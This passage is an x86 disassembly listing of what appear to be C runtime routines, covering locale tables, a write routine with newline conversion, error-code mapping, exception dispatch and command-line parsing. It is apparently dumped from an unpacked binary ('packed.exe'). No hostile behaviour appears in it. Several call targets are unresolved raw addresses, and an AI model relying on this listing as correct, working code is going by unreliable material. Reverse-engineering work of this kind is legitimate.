		jz	short loc_41EB37
		sub	eax, 0Dh
		jz	short loc_41EB31
		dec	eax
		jz	short loc_41EB2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41EB2B:				; CODE XREF: sub_41EB10+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_41EB31:				; CODE XREF: sub_41EB10+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_41EB37:				; CODE XREF: sub_41EB10+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_41EB3D:				; CODE XREF: sub_41EB10+9j
		mov	eax, 411h
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB43	proc near		; CODE XREF: sub_41E92D:loc_41EAB0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_48B560
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_48B450
		mov	dword_48B444, eax
		mov	dword_48B45C, eax
		mov	dword_48B664, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41EB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41E92D:loc_41EAB5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_48B444
		nop
		call	near ptr 28413B4h
		cmp	eax, 1
		jnz	loc_41ECA5
		xor	eax, eax
		mov	esi, 100h

loc_41EB96:				; CODE XREF: sub_41EB6C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41EB96
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41EBE7
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_41EBB5:				; CODE XREF: sub_41EB6C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41EBDC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_41EBDC:				; CODE XREF: sub_41EB6C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41EBB5
		pop	edi
		pop	ebx

loc_41EBE7:				; CODE XREF: sub_41EB6C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_48B664
		push	dword_48B444
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41FB63
		push	0
		lea	eax, [ebp+var_214]
		push	dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_48B664
		call	sub_41E709
		push	0
		lea	eax, [ebp+var_314]
		push	dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_48B664
		call	sub_41E709
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_41EC62:				; CODE XREF: sub_41EB6C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41EC80
		or	byte_48B561[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_41EC78:				; CODE XREF: sub_41EB6C+127j
		mov	byte_48B460[eax], dl
		jmp	short loc_41EC9C
; ---------------------------------------------------------------------------

loc_41EC80:				; CODE XREF: sub_41EB6C+FCj
		test	dl, 2
		jz	short loc_41EC95
		or	byte_48B561[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41EC78
; ---------------------------------------------------------------------------

loc_41EC95:				; CODE XREF: sub_41EB6C+117j
		and	byte_48B460[eax], 0

loc_41EC9C:				; CODE XREF: sub_41EB6C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41EC62
		jmp	short loc_41ECEE
; ---------------------------------------------------------------------------

loc_41ECA5:				; CODE XREF: sub_41EB6C+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_41ECAC:				; CODE XREF: sub_41EB6C+180j
		cmp	eax, 41h
		jb	short loc_41ECCA
		cmp	eax, 5Ah
		ja	short loc_41ECCA
		or	byte_48B561[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_41ECC2:				; CODE XREF: sub_41EB6C+174j
		mov	byte_48B460[eax], cl
		jmp	short loc_41ECE9
; ---------------------------------------------------------------------------

loc_41ECCA:				; CODE XREF: sub_41EB6C+143j
					; sub_41EB6C+148j
		cmp	eax, 61h
		jb	short loc_41ECE2
		cmp	eax, 7Ah
		ja	short loc_41ECE2
		or	byte_48B561[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41ECC2
; ---------------------------------------------------------------------------

loc_41ECE2:				; CODE XREF: sub_41EB6C+161j
					; sub_41EB6C+166j
		and	byte_48B460[eax], 0

loc_41ECE9:				; CODE XREF: sub_41EB6C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41ECAC

loc_41ECEE:				; CODE XREF: sub_41EB6C+137j
		pop	esi
		leave
		retn
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECF1	proc near		; CODE XREF: ___:0041F138p
					; ___:0041F194p ...
		cmp	dword_48B694, 0
		jnz	short locret_41ED0C
		push	0FFFFFFFDh
		call	sub_41E92D
		pop	ecx
		mov	dword_48B694, 1

locret_41ED0C:				; CODE XREF: sub_41ECF1+7j
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED0D	proc near		; CODE XREF: sub_4192B8+2Bp
					; sub_4192B8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_48B45C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41ED31
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------

loc_41ED31:				; CODE XREF: sub_41ED0D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41ED76
		mov	ecx, [ebp+arg_4]

loc_41ED3C:				; CODE XREF: sub_41ED0D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_48B561[esi], 4
		mov	[edi], al
		jz	short loc_41ED60
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41ED6C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED72
		jmp	short loc_41ED66
; ---------------------------------------------------------------------------

loc_41ED60:				; CODE XREF: sub_41ED0D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED76

loc_41ED66:				; CODE XREF: sub_41ED0D+51j
		test	edx, edx
		jnz	short loc_41ED3C
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------

loc_41ED6C:				; CODE XREF: sub_41ED0D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------

loc_41ED72:				; CODE XREF: sub_41ED0D+4Fj
		and	byte ptr [edi-2], 0

loc_41ED76:				; CODE XREF: sub_41ED0D+2Aj
					; sub_41ED0D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41ED91
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_41ED91:				; CODE XREF: sub_41ED0D+6Fj
		mov	eax, [ebp+arg_0]

loc_41ED94:				; CODE XREF: sub_41ED0D+22j
		pop	edi
		pop	ebp
		retn
sub_41ED0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED97	proc near		; CODE XREF: sub_4196EF+A2p
					; sub_419D23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_48B440
		push	esi
		push	edi
		jnb	loc_41EF2B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EF2B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EDE8

loc_41EDE1:				; CODE XREF: sub_41ED97+177j
		xor	eax, eax
		jmp	loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EDE8:				; CODE XREF: sub_41ED97+48j
		test	al, 20h
		jz	short loc_41EDF8
		push	2
		push	edi
		push	ecx
		call	sub_41E517
		add	esp, 0Ch

loc_41EDF8:				; CODE XREF: sub_41ED97+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EEC7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EEFF

loc_41EE18:				; CODE XREF: sub_41ED97+F5j
		lea	eax, [ebp+var_414]

loc_41EE1E:				; CODE XREF: sub_41ED97+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EE52
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EE3D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_41EE3D:				; CODE XREF: sub_41ED97+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EE1E

loc_41EE52:				; CODE XREF: sub_41ED97+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	short loc_41EEBC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EE8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EE18

loc_41EE8E:				; CODE XREF: sub_41ED97+EAj
					; sub_41ED97+12Ej
		xor	edi, edi

loc_41EE90:				; CODE XREF: sub_41ED97+150j
					; sub_41ED97+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EF26
		cmp	[ebp+arg_0], edi
		jz	short loc_41EEFF
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EEF4
		mov	dword_48A014, 9
		mov	dword_48A018, eax
		jmp	loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EEBC:				; CODE XREF: sub_41ED97+E0j
		nop
		call	near ptr 2610941h
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE8E
; ---------------------------------------------------------------------------

loc_41EEC7:				; CODE XREF: sub_41ED97+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_41EEE9
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------

loc_41EEE9:				; CODE XREF: sub_41ED97+145j
		call	near ptr 2610941h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------

loc_41EEF4:				; CODE XREF: sub_41ED97+10Fj
		push	[ebp+arg_0]
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EEFF:				; CODE XREF: sub_41ED97+7Bj
					; sub_41ED97+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EF14
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EDE1

loc_41EF14:				; CODE XREF: sub_41ED97+16Fj
		mov	dword_48A014, 1Ch
		mov	dword_48A018, edi
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EF26:				; CODE XREF: sub_41ED97+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EF2B:				; CODE XREF: sub_41ED97+15j
					; sub_41ED97+37j
		and	dword_48A018, 0
		mov	dword_48A014, 9

loc_41EF3C:				; CODE XREF: sub_41ED97+120j
					; sub_41ED97+166j ...
		or	eax, 0FFFFFFFFh

loc_41EF3F:				; CODE XREF: sub_41ED97+4Cj
					; sub_41ED97+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF44	proc near		; CODE XREF: sub_4197F9+16p
					; sub_419BBA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_48A018, ecx
		mov	eax, offset dword_43BA30

loc_41EF55:				; CODE XREF: sub_41EF44+1Ej
		cmp	ecx, [eax]
		jz	short loc_41EF79
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43BB98
		jl	short loc_41EF55
		cmp	ecx, 13h
		jb	short loc_41EF86
		cmp	ecx, 24h
		ja	short loc_41EF86
		mov	dword_48A014, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_41EF79:				; CODE XREF: sub_41EF44+13j
		mov	eax, dword_43BA34[edx*8]
		mov	dword_48A014, eax
		retn
; ---------------------------------------------------------------------------

loc_41EF86:				; CODE XREF: sub_41EF44+23j
					; sub_41EF44+28j
		cmp	ecx, 0BCh
		jb	short loc_41EFA0
		cmp	ecx, 0CAh
		mov	dword_48A014, 8
		jbe	short locret_41EFAA

loc_41EFA0:				; CODE XREF: sub_41EF44+48j
		mov	dword_48A014, 16h

locret_41EFAA:				; CODE XREF: sub_41EF44+5Aj
		retn
sub_41EF44	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41F0EC
		test	eax, eax
		pop	ecx
		jz	loc_41F0E0
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F0E0
		cmp	ebx, 5
		jnz	short loc_41EFDC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F0E9
; ---------------------------------------------------------------------------

loc_41EFDC:				; CODE XREF: ___:0041EFCEj
		cmp	ebx, 1
		jz	loc_41F0DB
		mov	ecx, dword_48A0C8
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_48A0C8, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F0CB
		mov	ecx, dword_43BC10
		mov	edx, dword_43BC14
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F02B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43BBA0h[esi*4]

loc_41F022:				; CODE XREF: ___:0041F029j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F022

loc_41F02B:				; CODE XREF: ___:0041F014j
		mov	eax, [eax]
		mov	esi, dword_43BC1C
		cmp	eax, 0C000008Eh
		jnz	short loc_41F046
		mov	dword_43BC1C, 83h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F046:				; CODE XREF: ___:0041F038j
		cmp	eax, 0C0000090h
		jnz	short loc_41F059
		mov	dword_43BC1C, 81h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F059:				; CODE XREF: ___:0041F04Bj
		cmp	eax, 0C0000091h
		jnz	short loc_41F06C
		mov	dword_43BC1C, 84h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F06C:				; CODE XREF: ___:0041F05Ej
		cmp	eax, 0C0000093h
		jnz	short loc_41F07F
		mov	dword_43BC1C, 85h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F07F:				; CODE XREF: ___:0041F071j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F092
		mov	dword_43BC1C, 82h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F092:				; CODE XREF: ___:0041F084j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F0A5
		mov	dword_43BC1C, 86h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F0A5:				; CODE XREF: ___:0041F097j
		cmp	eax, 0C0000092h
		jnz	short loc_41F0B6
		mov	dword_43BC1C, 8Ah

loc_41F0B6:				; CODE XREF: ___:0041F044j
					; ___:0041F057j ...
		push	dword_43BC1C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43BC1C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------

loc_41F0CB:				; CODE XREF: ___:0041EFFDj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_41F0D3:				; CODE XREF: ___:0041F0C9j
		mov	eax, [ebp+8]
		mov	dword_48A0C8, eax

loc_41F0DB:				; CODE XREF: ___:0041EFDFj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F0E9
; ---------------------------------------------------------------------------

loc_41F0E0:				; CODE XREF: ___:0041EFBAj
					; ___:0041EFC5j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 25C06EDh

loc_41F0E9:				; CODE XREF: ___:0041EFD7j
					; ___:0041F0DEj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F0EC	proc near		; CODE XREF: ___:0041EFB2p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BC18
		cmp	dword_43BB98, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_41F119
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]

loc_41F10E:				; CODE XREF: sub_41F0EC+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F119
		cmp	[eax], edx
		jnz	short loc_41F10E

loc_41F119:				; CODE XREF: sub_41F0EC+16j
					; sub_41F0EC+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F12C
		cmp	[eax], edx
		jz	short locret_41F12E

loc_41F12C:				; CODE XREF: sub_41F0EC+3Aj
		xor	eax, eax

locret_41F12E:				; CODE XREF: sub_41F0EC+3Ej
		retn
sub_41F0EC	endp

; ---------------------------------------------------------------------------
		cmp	dword_48B694, 0
		jnz	short loc_41F13D
		call	sub_41ECF1

loc_41F13D:				; CODE XREF: ___:0041F136j
		push	esi
		mov	esi, dword_48B68C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F16F

loc_41F14A:				; CODE XREF: ___:0041F162j
					; ___:0041F165j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F167
		test	al, al
		jz	short loc_41F167
		movzx	eax, al
		push	eax
		call	sub_42101D
		test	eax, eax
		pop	ecx
		jz	short loc_41F14A
		inc	esi
		jmp	short loc_41F14A
; ---------------------------------------------------------------------------

loc_41F167:				; CODE XREF: ___:0041F150j
					; ___:0041F154j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F179

loc_41F16C:				; CODE XREF: ___:0041F181j
		inc	esi
		jmp	short loc_41F179
; ---------------------------------------------------------------------------

loc_41F16F:				; CODE XREF: ___:0041F148j
		cmp	al, 20h
		jbe	short loc_41F179

loc_41F173:				; CODE XREF: ___:0041F177j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F173

loc_41F179:				; CODE XREF: ___:0041F16Aj
					; ___:0041F16Dj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F183
		cmp	al, 20h
		jbe	short loc_41F16C

loc_41F183:				; CODE XREF: ___:0041F17Dj
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F199
		call	sub_41ECF1

loc_41F199:				; CODE XREF: ___:0041F192j
		mov	esi, dword_48A060
		xor	edi, edi

loc_41F1A1:				; CODE XREF: ___:0041F1B7j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41F1B9
		cmp	al, 3Dh
		jz	short loc_41F1AC
		inc	edi

loc_41F1AC:				; CODE XREF: ___:0041F1A9j
		push	esi
		call	sub_417AB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F1A1
; ---------------------------------------------------------------------------

loc_41F1B9:				; CODE XREF: ___:0041F1A5j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_48A03C, esi
		jnz	short loc_41F1DB
		push	9
		call	sub_419CDA
		pop	ecx

loc_41F1DB:				; CODE XREF: ___:0041F1D1j
		mov	edi, dword_48A060
		cmp	[edi], bl
		jz	short loc_41F21E
		push	ebp

loc_41F1E6:				; CODE XREF: ___:0041F21Bj
		push	edi
		call	sub_417AB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41F217
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41F20A
		push	9
		call	sub_419CDA
		pop	ecx

loc_41F20A:				; CODE XREF: ___:0041F200j
		push	edi
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_41F217:				; CODE XREF: ___:0041F1F3j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41F1E6
		pop	ebp

loc_41F21E:				; CODE XREF: ___:0041F1E3j
		push	dword_48A060
		call	sub_417C3B
		pop	ecx
		mov	dword_48A060, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_48B690, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F257
		call	sub_41ECF1

loc_41F257:				; CODE XREF: ___:0041F250j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2620000h
		mov	eax, dword_48B68C
		mov	off_48A04C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41F27C
		mov	edi, eax

loc_41F27C:				; CODE XREF: ___:0041F278j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41F2AC
		push	8
		call	sub_419CDA
		pop	ecx

loc_41F2AC:				; CODE XREF: ___:0041F2A2j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_48A034, esi
		pop	edi
		pop	esi
		mov	dword_48A030, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D9	proc near		; CODE XREF: ___:0041F287p
					; ___:0041F2BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F303
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F303:				; CODE XREF: sub_41F2D9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F34C

loc_41F308:				; CODE XREF: sub_41F2D9+58j
					; sub_41F2D9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41F33A
		test	dl, dl
		jz	short loc_41F33A
		movzx	edx, dl
		test	byte_48B561[edx], 4
		jz	short loc_41F32D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F32D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_41F32D:				; CODE XREF: sub_41F2D9+46j
					; sub_41F2D9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F308
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F308
; ---------------------------------------------------------------------------

loc_41F33A:				; CODE XREF: sub_41F2D9+36j
					; sub_41F2D9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F344
		and	byte ptr [esi],	0
		inc	esi

loc_41F344:				; CODE XREF: sub_41F2D9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F38F
		inc	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------

loc_41F34C:				; CODE XREF: sub_41F2D9+2Dj
					; sub_41F2D9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F357
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_41F357:				; CODE XREF: sub_41F2D9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_48B561[ebx], 4
		jz	short loc_41F372
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F371
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_41F371:				; CODE XREF: sub_41F2D9+91j
		inc	eax

loc_41F372:				; CODE XREF: sub_41F2D9+8Bj
		cmp	dl, 20h
		jz	short loc_41F380
		test	dl, dl
		jz	short loc_41F384
		cmp	dl, 9
		jnz	short loc_41F34C

loc_41F380:				; CODE XREF: sub_41F2D9+9Cj
		test	dl, dl
		jnz	short loc_41F387

loc_41F384:				; CODE XREF: sub_41F2D9+A0j
		dec	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------

loc_41F387:				; CODE XREF: sub_41F2D9+A9j
		test	esi, esi
		jz	short loc_41F38F
		and	byte ptr [esi-1], 0

loc_41F38F:				; CODE XREF: sub_41F2D9+6Ej
					; sub_41F2D9+71j ...
		and	[ebp+arg_10], 0

loc_41F393:				; CODE XREF: sub_41F2D9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F47C

loc_41F39C:				; CODE XREF: sub_41F2D9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F3A8
		cmp	dl, 9
		jnz	short loc_41F3AB

loc_41F3A8:				; CODE XREF: sub_41F2D9+C8j
		inc	eax
		jmp	short loc_41F39C
; ---------------------------------------------------------------------------

loc_41F3AB:				; CODE XREF: sub_41F2D9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F47C
		test	edi, edi
		jz	short loc_41F3C0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F3C0:				; CODE XREF: sub_41F2D9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_41F3C5:				; CODE XREF: sub_41F2D9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_41F3CE:				; CODE XREF: sub_41F2D9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F3D7
		inc	eax
		inc	ebx
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------

loc_41F3D7:				; CODE XREF: sub_41F2D9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F408
		test	bl, 1
		jnz	short loc_41F406
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41F3F5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F3F5
		mov	eax, edx
		jmp	short loc_41F3F8
; ---------------------------------------------------------------------------

loc_41F3F5:				; CODE XREF: sub_41F2D9+10Dj
					; sub_41F2D9+116j
		mov	[ebp+arg_0], edi

loc_41F3F8:				; CODE XREF: sub_41F2D9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_41F406:				; CODE XREF: sub_41F2D9+106j
